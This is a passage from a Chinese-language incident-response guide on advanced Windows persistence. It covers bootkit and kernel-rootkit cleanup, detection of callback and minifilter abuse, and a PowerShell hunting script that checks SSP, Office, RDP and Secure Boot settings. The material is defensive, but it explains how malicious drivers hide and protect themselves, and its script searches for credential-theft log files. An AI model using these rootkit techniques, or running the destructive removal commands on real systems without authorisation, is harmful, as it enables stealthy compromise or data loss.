启用 BitLocker + TPM —— Bootkit 修改引导代码会导致 TPM PCR 值变化,BitLocker 拒绝解密
部署 Windows Defender System Guard(基于虚拟化的引导完整性验证)
BIOS/UEFI 固件保持最新版本
清除 MBR Bootkit:
1 2 3 4
| :: 使用 Windows 恢复环境(WinRE) bootrec /fixmbr bootrec /fixboot bootrec /rebuildbcd
|
清除 UEFI Bootkit(ESP 级别):
1 2 3
| :: 从 WinRE 恢复引导文件 bcdboot C:\Windows /s S: /f UEFI :: S: 为 ESP 挂载盘符
|
清除 UEFI 固件级 Rootkit:
需要重新刷写 UEFI 固件(从主板厂商官网下载最新固件)
在某些情况下可能需要物理更换主板
清除后仍需重装操作系统
十四、内核回调与过滤驱动持久化 (T1547.006 补充)
14.1 与 DLL 劫持的区别
22-DLL劫持与侧加载 讲的是用户态的 DLL 加载劫持
本节讲的是 内核态的回调注册和过滤驱动,这是完全不同的技术层面
内核驱动拥有与 Windows 内核相同的权限级别(Ring 0)
恶意内核驱动可以:
完全隐藏文件、进程、注册表项(Rootkit)
阻止安全软件运行
拦截和修改系统调用
读写任意内存(包括其他进程和内核内存)
攻击者获取内核驱动加载能力的方式:
使用有漏洞的合法签名驱动(BYOVD)加载自定义内核代码
窃取或购买合法代码签名证书
利用 Windows 测试模式(test signing)
利用内核漏洞直接注入代码
14.2 内核回调机制详解
Windows 内核提供多种回调注册 API,合法驱动用于安全监控、杀毒等:
**进程通知回调 — PsSetCreateProcessNotifyRoutine(Ex)**:
每当系统中任何进程被创建或终止时,注册的回调函数被调用
恶意利用:阻止特定安全软件进程启动(返回 STATUS_ACCESS_DENIED)
合法用途:杀毒软件监控进程创建
**线程通知回调 — PsSetCreateThreadNotifyRoutine(Ex)**:
线程创建/终止时触发
恶意利用:注入代码到新创建的线程
**模块加载通知 — PsSetLoadImageNotifyRoutine(Ex)**:
DLL/驱动加载时触发
恶意利用:修改加载的模块内容(内核级 DLL 劫持)
注册表回调 — CmRegisterCallbackEx:
注册表操作(创建、删除、修改、查询)时触发
恶意利用:
隐藏恶意注册表键值(查询时返回”不存在”)
阻止删除自己的持久化注册表项
篡改安全软件的注册表查询结果
对象操作回调 — ObRegisterCallbacks:
进程/线程句柄操作时触发
恶意利用:阻止安全软件打开恶意进程的句柄(防止被杀、被分析)
合法用途:反作弊软件保护游戏进程
Minifilter 文件过滤 — FltRegisterFilter:
文件 I/O 操作时触发(创建、读取、写入、删除)
恶意利用:
隐藏恶意文件(目录枚举时过滤掉)
阻止删除恶意文件
加密勒索(拦截写入请求并加密)
合法用途:杀毒软件实时扫描、备份软件
14.3 恶意驱动的典型行为模式
Rootkit 隐藏能力组合:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 1. 注册 PsSetCreateProcessNotifyRoutine → 阻止 taskmgr.exe、procexp.exe 等显示恶意进程
2. 注册 CmRegisterCallbackEx → 隐藏 Run 键中的恶意自启动注册表值 → 阻止安全工具删除恶意注册表项
3. 注册 FltRegisterFilter (Minifilter) → 隐藏恶意文件 → 阻止安全软件访问恶意文件
4. 注册 ObRegisterCallbacks → 阻止安全软件打开恶意进程的句柄 → 保护恶意进程不被终止
|
自我保护机制:
通过注册表回调保护自己的驱动服务注册表项不被删除
通过 Minifilter 保护自己的 .sys 驱动文件不被删除或覆盖
通过对象回调保护自己的进程不被终止
结果:常规方法几乎无法清除此类 Rootkit
实际案例:
Necurs Rootkit:使用内核回调隐藏自身并保护恶意文件
Uroburos/Turla Rootkit:复杂的内核级间谍软件
FiveSys Rootkit:使用合法签名证书的内核驱动
Demodex Rootkit:APT41 使用的内核 Rootkit
14.4 检测方法
Volatility 内存取证(最可靠):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| vol -f memory.dmp windows.callbacks
vol -f memory.dmp windows.ssdt
vol -f memory.dmp windows.driverscan
vol -f memory.dmp windows.driverirp
|
实时检查 Minifilter 驱动:
1 2 3 4 5 6
| Write-Host "`n[已注册的 Minifilter 驱动]" -ForegroundColor Cyan fltmc
fltmc instances
|
检查已加载的内核驱动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Write-Host "`n[内核驱动签名验证]" -ForegroundColor Cyan Get-CimInstance Win32_SystemDriver | ForEach-Object { $driverPath = $_.PathName if ($driverPath -and $driverPath -match "\.sys") { $driverPath = $driverPath -replace '^\\\?\?\\', '' -replace '^\\SystemRoot\\', 'C:\Windows\' if (Test-Path $driverPath) { $sig = Get-AuthenticodeSignature $driverPath -ErrorAction SilentlyContinue if ($sig.Status -ne "Valid") { Write-Host " [!] $($_.Name): $driverPath [$($sig.Status)]" -ForegroundColor Red } } } }
|
检查驱动服务注册表:
1 2 3 4
| Get-CimInstance Win32_SystemDriver | Where-Object { $_.State -eq "Running" } | Select-Object Name, DisplayName, PathName, StartMode, State | Sort-Object Name | Format-Table -AutoSize
|
使用 WinObj 或 DeviceTree 工具:
Sysinternals WinObj:检查 \Device\ 和 \Driver\ 命名空间
检查异常设备对象和驱动对象
关联:34-内存取证-Volatility
14.5 清除方法
常规清除(如果 Rootkit 没有自我保护):
1 2 3 4 5 6
| sc stop evil_driver sc delete evil_driver
Remove-Item "C:\Windows\System32\drivers\evil_driver.sys" -Force
|
如果 Rootkit 有自我保护:
- 安全模式:启动到安全模式(最小化驱动加载),再删除
1 2 3 4
| :: 设置下次启动进入安全模式 bcdedit /set {current} safeboot minimal :: 重启后删除恶意驱动,然后恢复正常启动 bcdedit /deletevalue {current} safeboot
|
- WinPE/WinRE:从 Windows PE 启动,挂载受感染的磁盘进行清除
- 离线注册表编辑:从 WinPE 中加载受感染系统的注册表配置单元
1 2 3 4 5
| :: 在 WinPE 中 reg load HKLM\OFFLINE C:\Windows\System32\config\SYSTEM reg delete "HKLM\OFFLINE\ControlSet001\Services\evil_driver" /f reg unload HKLM\OFFLINE del C:\Windows\System32\drivers\evil_driver.sys
|
- 重装系统:对于顽固的内核 Rootkit,重装系统可能是最可靠的选择
注意:清除内核级 Rootkit 后必须进行全面的系统完整性验证:
1 2 3 4 5
| sfc /scannow
DISM /Online /Cleanup-Image /RestoreHealth
|
十五、Windows 持久化完整排查补充 Checklist
15.1 与 Page 30 的关系
30-持久化综合Checklist 覆盖了 60+ 常见持久化位置
本 Checklist 是 补充检查项,覆盖本页新增的 14 种冷门/高级技术
建议在完成 Page 30 的排查后,继续执行本页的补充排查
15.2 补充排查要点速查表
| # |
技术 |
ATT&CK |
排查位置 |
关键命令 |
| 1 |
Netsh Helper DLL |
T1546.007 |
HKLM\SOFTWARE\Microsoft\NetSh |
reg query HKLM\SOFTWARE\Microsoft\NetSh |
| 2 |
SSP (Security Support Provider) |
T1547.005 |
Lsa\Security Packages |
检查 Security Packages + LSASS 模块 |
| 3 |
Authentication Package |
T1547.002 |
Lsa\Authentication Packages |
默认应仅有 msv1_0 |
| 4 |
Time Provider DLL |
T1547.003 |
W32Time\TimeProviders\*\DllName |
检查非默认 DLL |
| 5 |
Office STARTUP/模板 |
T1137 |
%APPDATA%\Microsoft\Word\STARTUP\ 等 |
检查宏文件 |
| 6 |
Office Add-in |
T1137 |
Office\<App>\Addins\ |
检查 LoadBehavior=3 |
| 7 |
浏览器扩展 |
T1176 |
Extensions\ 目录 + 策略注册表 |
manifest.json 权限审计 |
| 8 |
屏幕保护程序 |
T1546.002 |
HKCU\Control Panel\Desktop\SCRNSAVE.EXE |
验证文件签名和路径 |
| 9 |
文件关联劫持 |
T1546.001 |
HKCU\SOFTWARE\Classes\*\shell\open\command |
检查 HKCU 覆盖 |
| 10 |
Active Setup |
T1547.014 |
Active Setup\Installed Components\ |
HKLM vs HKCU 对比 |
| 11 |
GPO 持久化 |
T1484 |
SYSVOL + 本地 GroupPolicy |
gpresult /r + 脚本审计 |
| 12 |
Logon Script |
T1037.001 |
HKCU\Environment\UserInitMprLogonScript |
注册表查询 |
| 13 |
RDP 后门 |
T1563.002 |
Terminal Server 注册表 |
RDP 安全配置审计 |
| 14 |
Bootkit/UEFI |
T1542 |
ESP + MBR + Secure Boot |
Confirm-SecureBootUEFI |
| 15 |
内核回调/Minifilter |
T1547.006 |
内核驱动 + Minifilter |
fltmc + Volatility |
15.3 一键排查脚本
完整版一键排查脚本(覆盖本页所有技术):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272
|
$ErrorActionPreference = "SilentlyContinue" $findings = @()
Write-Host "=" * 60 -ForegroundColor Cyan Write-Host " Windows 冷门持久化排查" -ForegroundColor Cyan Write-Host " $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Cyan Write-Host "=" * 60 -ForegroundColor Cyan
Write-Host "`n[1/14] Netsh Helper DLL (T1546.007)" -ForegroundColor Yellow $netshHelpers = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh" | Select-Object * -ExcludeProperty PS* $netshHelpers.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object { $dll = $_.Value if ($dll -and (Test-Path $dll)) { $sig = Get-AuthenticodeSignature $dll if ($sig.Status -ne "Valid") { Write-Host " [!] 未签名 Helper: $($_.Name) -> $dll" -ForegroundColor Red $findings += "Netsh Helper: $dll (未签名)" } else { Write-Host " [OK] $($_.Name) -> $dll [$($sig.Status)]" -ForegroundColor Gray } } }
Write-Host "`n[2/14] SSP - Security Packages (T1547.005)" -ForegroundColor Yellow $sspBaseline = @("", "kerberos", "msv1_0", "schannel", "wdigest", "tspkg", "pku2u") $ssp = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages' $sspAnomaly = $ssp | Where-Object { $_ -and $_ -notin $sspBaseline } if ($sspAnomaly) { $sspAnomaly | ForEach-Object { Write-Host " [!] 非默认 SSP: $_" -ForegroundColor Red $findings += "非默认 SSP: $_" } } else { Write-Host " [OK] Security Packages 正常" -ForegroundColor Green }
@("C:\Windows\System32\kiwissp.log", "C:\Windows\System32\mimilsa.log") | ForEach-Object { if (Test-Path $_) { Write-Host " [!] 发现 SSP 凭据日志: $_" -ForegroundColor Red $findings += "SSP凭据日志: $_" } }
Write-Host "`n[3/14] Authentication Packages (T1547.002)" -ForegroundColor Yellow $ap = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages").'Authentication Packages' $apAnomaly = $ap | Where-Object { $_ -and $_ -ne "msv1_0" } if ($apAnomaly) { $apAnomaly | ForEach-Object { Write-Host " [!] 非默认 AP: $_" -ForegroundColor Red $findings += "非默认 Authentication Package: $_" } } else { Write-Host " [OK] Authentication Packages 仅含 msv1_0" -ForegroundColor Green }
Write-Host "`n[4/14] Time Provider DLL (T1547.003)" -ForegroundColor Yellow $tpRoot = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders" Get-ChildItem $tpRoot | ForEach-Object { $dll = (Get-ItemProperty $_.PSPath).DllName if ($dll -and $dll -notmatch "w32time\.dll|vmictimeprovider\.dll") { Write-Host " [!] 非默认 Time Provider: $($_.PSChildName) -> $dll" -ForegroundColor Red $findings += "非默认 Time Provider: $dll" } else { Write-Host " [OK] $($_.PSChildName) -> $dll" -ForegroundColor Gray } }
Write-Host "`n[5/14] Office STARTUP & 模板 (T1137)" -ForegroundColor Yellow $officeDirs = @( "$env:APPDATA\Microsoft\Word\STARTUP", "$env:APPDATA\Microsoft\Excel\XLSTART", "$env:APPDATA\Microsoft\Templates" ) foreach ($dir in $officeDirs) { if (Test-Path $dir) { $files = Get-ChildItem $dir -File -Include "*.dotm","*.xlsb","*.xlam","*.xla","*.dot","*.xlt","*.pptm" -Recurse foreach ($f in $files) { Write-Host " [!] $($f.FullName) ($($f.Length) bytes)" -ForegroundColor Yellow $findings += "Office文件: $($f.FullName)" } } } $normalDotm = "$env:APPDATA\Microsoft\Templates\Normal.dotm" if ((Test-Path $normalDotm) -and (Get-Item $normalDotm).Length -gt 50000) { Write-Host " [!] Normal.dotm 体积异常: $((Get-Item $normalDotm).Length) bytes" -ForegroundColor Red $findings += "Normal.dotm 体积异常" }
Write-Host "`n[6/14] Office Add-ins (T1137)" -ForegroundColor Yellow $officeApps = @("Word", "Excel", "PowerPoint", "Outlook") foreach ($app in $officeApps) { foreach ($hive in @("HKCU:", "HKLM:")) { $addinPath = "$hive\SOFTWARE\Microsoft\Office\$app\Addins" if (Test-Path $addinPath) { Get-ChildItem $addinPath | ForEach-Object { $props = Get-ItemProperty $_.PSPath Write-Host " $hive\$app\$($_.PSChildName) | LoadBehavior=$($props.LoadBehavior)" -ForegroundColor Yellow } } } }
Write-Host "`n[7/14] 浏览器扩展强制安装 (T1176)" -ForegroundColor Yellow $extPolicies = @( "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist", "HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist", "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist", "HKCU:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist" ) foreach ($ep in $extPolicies) { if (Test-Path $ep) { $props = Get-ItemProperty $ep | Select-Object * -ExcludeProperty PS* $props.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object { Write-Host " [!] $ep : $($_.Value)" -ForegroundColor Red $findings += "强制安装扩展: $($_.Value)" } } } if (-not $findings[-1] -or $findings[-1] -notmatch "强制安装") { Write-Host " [OK] 未发现强制安装策略" -ForegroundColor Green }
Write-Host "`n[8/14] 屏幕保护程序 (T1546.002)" -ForegroundColor Yellow $scr = (Get-ItemProperty "HKCU:\Control Panel\Desktop" -Name "SCRNSAVE.EXE" -ErrorAction SilentlyContinue)."SCRNSAVE.EXE" if ($scr) { Write-Host " SCRNSAVE.EXE: $scr" -ForegroundColor White if ($scr -notmatch "^C:\\Windows\\System32\\") { Write-Host " [!] 屏保路径不在 System32!" -ForegroundColor Red $findings += "异常屏保路径: $scr" } if (Test-Path $scr) { $sig = Get-AuthenticodeSignature $scr if ($sig.Status -ne "Valid") { Write-Host " [!] 屏保文件未签名" -ForegroundColor Red } } } else { Write-Host " [OK] 未设置自定义屏保" -ForegroundColor Green }
Write-Host "`n[9/14] 文件关联劫持 (T1546.001)" -ForegroundColor Yellow $checkExts = @(".txt", ".doc", ".xls", ".hta", ".js", ".vbs", ".ps1", ".bat", ".cmd") foreach ($ext in $checkExts) { $userClass = "HKCU:\SOFTWARE\Classes\$ext" if (Test-Path $userClass) { $progId = (Get-ItemProperty $userClass).'(default)' if ($progId) { $cmdPath = "HKCU:\SOFTWARE\Classes\$progId\shell\open\command" if (Test-Path $cmdPath) { $cmd = (Get-ItemProperty $cmdPath).'(default)' Write-Host " [!] $ext 用户级关联覆盖: $cmd" -ForegroundColor Red $findings += "文件关联劫持: $ext -> $cmd" } } } }
Write-Host "`n[10/14] Active Setup (T1547.014)" -ForegroundColor Yellow $asPath = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components" Get-ChildItem $asPath | ForEach-Object { $sp = (Get-ItemProperty $_.PSPath).StubPath if ($sp -and $sp -match "(ProgramData|\\\\Temp|AppData|Users\\\\Public)" -and $sp -notmatch "Microsoft|Windows") { Write-Host " [!] 可疑 Active Setup: $($_.PSChildName)" -ForegroundColor Red Write-Host " StubPath: $sp" -ForegroundColor Yellow $findings += "可疑 Active Setup: $sp" } }
Write-Host "`n[11/14] 本地 GPO 脚本 (T1484)" -ForegroundColor Yellow $gpoScriptDirs = @( "C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup", "C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown", "C:\Windows\System32\GroupPolicy\User\Scripts\Logon", "C:\Windows\System32\GroupPolicy\User\Scripts\Logoff" ) foreach ($dir in $gpoScriptDirs) { if (Test-Path $dir) { $scripts = Get-ChildItem $dir -File foreach ($s in $scripts) { Write-Host " [!] $dir\$($s.Name)" -ForegroundColor Red $findings += "GPO脚本: $($s.FullName)" } } }
Write-Host "`n[12/14] UserInitMprLogonScript (T1037.001)" -ForegroundColor Yellow New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue | Out-Null Get-ChildItem HKU: -ErrorAction SilentlyContinue | ForEach-Object { $envPath = Join-Path $_.PSPath "Environment" if (Test-Path $envPath) { $ls = (Get-ItemProperty $envPath -Name "UserInitMprLogonScript" -ErrorAction SilentlyContinue).UserInitMprLogonScript if ($ls) { Write-Host " [!] SID $($_.PSChildName): $ls" -ForegroundColor Red $findings += "LogonScript: $ls" } } }
Write-Host "`n[13/14] RDP 安全配置 (T1563.002)" -ForegroundColor Yellow $tsPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" $rdpEnabled = (Get-ItemProperty $tsPath -Name "fDenyTSConnections" -ErrorAction SilentlyContinue).fDenyTSConnections -eq 0 $nla = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "UserAuthentication" -ErrorAction SilentlyContinue).UserAuthentication $port = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "PortNumber" -ErrorAction SilentlyContinue).PortNumber
if ($rdpEnabled -and $nla -eq 0) { Write-Host " [!] RDP 已启用且 NLA 已禁用!" -ForegroundColor Red $findings += "RDP NLA 已禁用" } if ($port -and $port -ne 3389) { Write-Host " [!] RDP 非默认端口: $port" -ForegroundColor Yellow $findings += "RDP 端口: $port" }
if (Get-Service "RDPWInst" -ErrorAction SilentlyContinue) { Write-Host " [!] 检测到 RDP Wrapper 服务!" -ForegroundColor Red $findings += "RDP Wrapper 已安装" }
$shadow = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -ErrorAction SilentlyContinue).Shadow if ($shadow -in @(1, 3)) { Write-Host " [!] RDP Shadow 无需用户同意: $shadow" -ForegroundColor Red $findings += "RDP Shadow 无需同意" }
Write-Host "`n[14/14] Secure Boot / UEFI (T1542)" -ForegroundColor Yellow try { $sb = Confirm-SecureBootUEFI $color = if ($sb) { "Green" } else { "Red" } Write-Host " Secure Boot: $sb" -ForegroundColor $color if (-not $sb) { $findings += "Secure Boot 未启用" } } catch { Write-Host " 非 UEFI 系统或无法检查" -ForegroundColor Yellow }
Write-Host "`n[补充] Minifilter 驱动" -ForegroundColor Yellow $fltmc = fltmc 2>$null if ($fltmc) { $fltmc | ForEach-Object { Write-Host " $_" -ForegroundColor Gray } }
Write-Host "`n" + "=" * 60 -ForegroundColor Cyan Write-Host " 排查完成 | 发现 $($findings.Count) 个异常项" -ForegroundColor $(if($findings.Count -gt 0){"Red"}else{"Green"}) Write-Host "=" * 60 -ForegroundColor Cyan
if ($findings.Count -gt 0) { Write-Host "`n[异常汇总]" -ForegroundColor Red $findings | ForEach-Object { Write-Host " - $_" -ForegroundColor Yellow } }
Write-Host "`n提示: 本脚本为补充排查,请配合 Page 30 的综合 Checklist 一起使用" -ForegroundColor Gray
|
15.4 排查优先级建议
高优先级(APT / 高级攻击必查):
SSP / Authentication Package(可获取明文密码)
内核回调 / Minifilter(Rootkit 核心技术)
Bootkit / UEFI(最底层持久化)
GPO 持久化(域环境全域影响)
中优先级(常见攻击手法):
Office 持久化(钓鱼攻击后续)
Logon Script(UserInitMprLogonScript)
Active Setup
RDP 后门
常规排查(全面清查时包含):
Netsh Helper DLL
Time Provider DLL
屏幕保护程序
文件关联劫持
浏览器扩展
15.5 参考资源
MITRE ATT&CK 持久化技术矩阵:https://attack.mitre.org/tactics/TA0003/
Autoruns(Sysinternals):最全面的自启动排查工具
关联:31-Sysinternals套件
Persistence Sniper(GitHub):自动化 Windows 持久化排查工具
YOURKIT / PersistenceHunter:专注持久化检测的工具
Sigma 规则仓库:https://github.com/SigmaHQ/sigma — 搜索 persistence 相关规则
关联:32-Sysmon部署与规则编写 | 36-自动化IR工具-KAPE与Velociraptor